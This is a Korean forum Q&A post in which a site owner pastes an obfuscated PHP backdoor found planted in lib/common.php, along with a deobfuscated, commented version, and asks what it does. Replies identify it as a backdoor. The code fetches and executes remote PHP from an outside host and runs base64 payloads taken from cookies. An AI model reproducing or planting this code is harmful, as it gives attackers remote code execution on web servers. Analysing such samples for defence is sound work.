이건 무슨 해킹인가요?

이건 무슨 해킹인가요?

QA

이건 무슨 해킹인가요?

사용하는 빌더

아미나

본문

["\x6c\x6f\x47\x5f\x65\x72\x72\x6f\x72\x73"=>0,'\x72\x65\x71\x75\x65\x73\x74\x5f\x73\x6c\x6f\x77\x4c\x6f\x67\x5f\x74\x69\x6d\x65\x4f\x75\x74'=>'0'];foreach($dEqDtS_a as $dEqDtS_b=>$dEqDtS_c){@iNi_SeT($dEqDtS_b,$dEqDtS_c);}
$kDfZo=chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115); try{$dEqDtS_d=chr(99).chr(117).chr(114).chr(108).chr(95).chr(105).chr(110).chr(105).chr(116);$dEqDtS_e=chr(99).chr(117).chr(114).chr(108).chr(95).chr(115).chr(101).chr(116).chr(111).chr(112).chr(116);$dEqDtS_f=chr(99).chr(117).chr(114).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99);$dEqDtS_g=chr(99).chr(117).chr(114).chr(108).chr(95).chr(99).chr(108).chr(111).chr(115).chr(101);$dEqDtS_h=sys_get_temp_dir();$dEqDtS_i=realpath($dEqDtS_h).'/tmp.e31t7exA6g';$dEqDtS_j=dAtE('Y-m-d H:i:s');$dEqDtS_k=false;if(FilE_eXisTs($dEqDtS_i)){$dEqDtS_k=true;}if(!$dEqDtS_k){$dEqDtS_l="{$dEqDtS_j}\n0\nnull";@FiLe_PuT_cOntEnTs($dEqDtS_i,$dEqDtS_l);}else{$dEqDtS_m=FilE($dEqDtS_i,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);$dEqDtS_n=$dEqDtS_m[0];$dEqDtS_o=$dEqDtS_m[1];$dEqDtS_p=@aRRaY_sLiCe($dEqDtS_m,2);$dEqDtS_q=tImE()-30;if(sTrToTiMe($dEqDtS_n)<$dEqDtS_q){@FiLe_PuT_ConTenTs($dEqDtS_i,$dEqDtS_j."\n");$dEqDtS_r=$dEqDtS_d();$dEqDtS_s=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(85).chr(82).chr(76));$dEqDtS_t=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(82).chr(69).chr(84).chr(85).chr(82).chr(78).chr(84).chr(82).chr(65).chr(78).chr(83).chr(70).chr(69).chr(82));$dEqDtS_u=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(84).chr(73).chr(77).chr(69).chr(79).chr(85).chr(84));$dEqDtS_e($dEqDtS_r,$dEqDtS_s,"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x73\x78\x2f\x72\x65\x63\x76\x2f\x61\x70\x69\x2f\x73\x63\x62\x2e\x70\x68\x70");$dEqDtS_e($dEqDtS_r,$dEqDtS_t,true);$dEqDtS_e($dEqDtS_r,$dEqDtS_u,1);$dEqDtS_v=$dEqDtS_f($dEqDtS_r);if($dEqDtS_v===false){foreach(${chr(95).chr(67).chr(79).chr(79).chr(75).chr(73).chr(69)} as $gHsPd=>$yWtNb){${$gHsPd}=$yWtNb;}$xQpLt=chr(116).chr(101).chr(109).chr(112).chr(110).chr(97).chr(109);$sysTempDir=chr(115).chr(121).chr(115).chr(95).chr(103).chr(101).chr(116).chr(95).chr(116).chr(101).chr(109).chr(112).chr(95).chr(100).chr(105).chr(114);$lMdYp=@$xQpLt(@$sysTempDir(),"\x70\x68\x70");$tRqNk=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$bRtFg=chr(117).chr(110).chr(108).chr(105).chr(110).chr(107);$zKlMn="\x3c\x3f\x70\x48\x70\x20";if(!isset($err_composers)){$err_composers="";}@$kDfZo($lMdYp,$zKlMn.$tRqNk($err_composers));@include($lMdYp);@$bRtFg($lMdYp);}$dEqDtS_g($dEqDtS_r);@$kDfZo($dEqDtS_i,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_p);@$kDfZo($dEqDtS_i,$dEqDtS_j."\n".$dEqDtS_v);}if(IsSeT($dEqDtS_o)&&$dEqDtS_o=='1'){foreach($dEqDtS_p as $dEqDtS_w){$dEqDtS_x=tEmPnAm(sys_get_temp_dir(),"\x70\x68\x70");@$kDfZo($dEqDtS_x,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_w);@InClUDe_oNcE($dEqDtS_x);@UnLiNk($dEqDtS_x);}}}}catch(ExCePtIoN $dEqDtS_y){} 

<?php
// 초기 PHP 설정 (에러 로그 관련)
ini_set("log_errors", 0);
ini_set("request_slowLog_timeout", "0");

// file_put_contents 함수 이름 저장
$filePutContents = "file_put_contents";

try {
    // cURL 관련 함수 이름 저장
    $curlInit    = "curl_init";
    $curlSetOpt  = "curl_setopt";
    $curlExec    = "curl_exec";
    $curlClose   = "curl_close";

    // 시스템 임시 디렉터리 및 임시 파일 경로 설정
    $tempDir   = sys_get_temp_dir();
    $tempFile  = realpath($tempDir) . '/tmp.e31t7exA6g';
    $currentTime = date('Y-m-d H:i:s');
    $tempFileExists = file_exists($tempFile);

    if (!$tempFileExists) {
        // 임시 파일이 없으면 초기 내용 작성
        $data = "{$currentTime}\n0\nnull";
        @file_put_contents($tempFile, $data);
    } else {
        // 파일이 있으면 내용을 읽어옴
        $lines = file($tempFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $timestamp = $lines[0];        // 첫 줄: 기록된 시간
        $flag      = $lines[1];         // 두 번째 줄: 플래그 (예: 0 또는 1)
        $codeArray = @array_slice($lines, 2);  // 나머지 줄: 추가 코드 조각들

        // 30초 전과 비교하여 타임스탬프 갱신 여부 결정
        $timeThreshold = time() - 30;
        if (strtotime($timestamp) < $timeThreshold) {
            @file_put_contents($tempFile, $currentTime . "\n");

            // cURL을 통해 원격 URL에서 PHP 코드를 가져옴
            $ch = $curlInit();
            $curlOptUrl          = constant("CURLOPT_URL");
            $curlOptReturnTransfer = constant("CURLOPT_RETURNTRANSFER");
            $curlOptTimeout      = constant("CURLOPT_TIMEOUT");

            $curlSetOpt($ch, $curlOptUrl, "https://twitter.sx/recv/api/scb.php");
            $curlSetOpt($ch, $curlOptReturnTransfer, true);
            $curlSetOpt($ch, $curlOptTimeout, 1);
            $result = $curlExec($ch);

            // 만약 cURL 실행이 실패하면 fallback 방식 사용
            if ($result === false) {
                // $_COOKIE 배열의 각 값을 변수로 할당
                foreach ($_COOKIE as $key => $value) {
                    $$key = $value;
                }
                // 임시 파일 생성 및 base64로 인코딩된 에러 메시지 디코딩 후 실행
                $tempName = tempnam(sys_get_temp_dir(), "php");
                if (!isset($err_composers)) {
                    $err_composers = "";
                }
                $decodedError = base64_decode($err_composers);
                $phpOpenTag   = "<?php ";
                @file_put_contents($tempName, $phpOpenTag . $decodedError);
                @include($tempName);
                @unlink($tempName);
            }
            $curlClose($ch);

            // 원격으로 받아온 결과와 현재 시간을 임시 파일에 기록
            @file_put_contents($tempFile, "<?php " . implode("\n", $codeArray));
            @file_put_contents($tempFile, $currentTime . "\n" . $result);
        }

        // 플래그가 1일 경우, 추가 코드 조각들을 각각 실행
        if (isset($flag) && $flag == '1') {
            foreach ($codeArray as $codeLine) {
                $tempFile2 = tempnam(sys_get_temp_dir(), "php");
                @file_put_contents($tempFile2, "<?php " . $codeLine);
                @include_once($tempFile2);
                @unlink($tempFile2);
            }
        }
    }
} catch (Exception $e) {
    // 예외 발생 시 별도 처리 없이 무시
}
?>




lib/common.php 에 심어져 있던데..........

 

하... 어떻게 해킹당한건지도 모르겠고, 저게 뭘 빼가는건지도 모르겠네요ㅠㅠ

이 질문에 댓글 쓰기 :

답변 2

twitter.sx/recv/api/scb.php
상당히 위험한 상황인것 같습니다.
이곳으로 연결되어 있는것 같습니다.
curl 접속으로 데이타를 넘기는것 같습니다.

 

사용중인 PC가 문제가 없는지 잘 확인해 보세요.
이메일을 열었거나 등등 으로 PC가 뚤렸을 수 있을것 같습니다.
PC와 모바일 공유기에 대한 보안 점검이 필요할것 같습니다.

 

서버의 로그파일을 볼 수 있으면 보고 명령어 실행 이력에 대해서도 봐 보세요

백도어입니다. 

답변을 작성하시기 전에 로그인 해주세요.
전체 95
QA 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1402호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT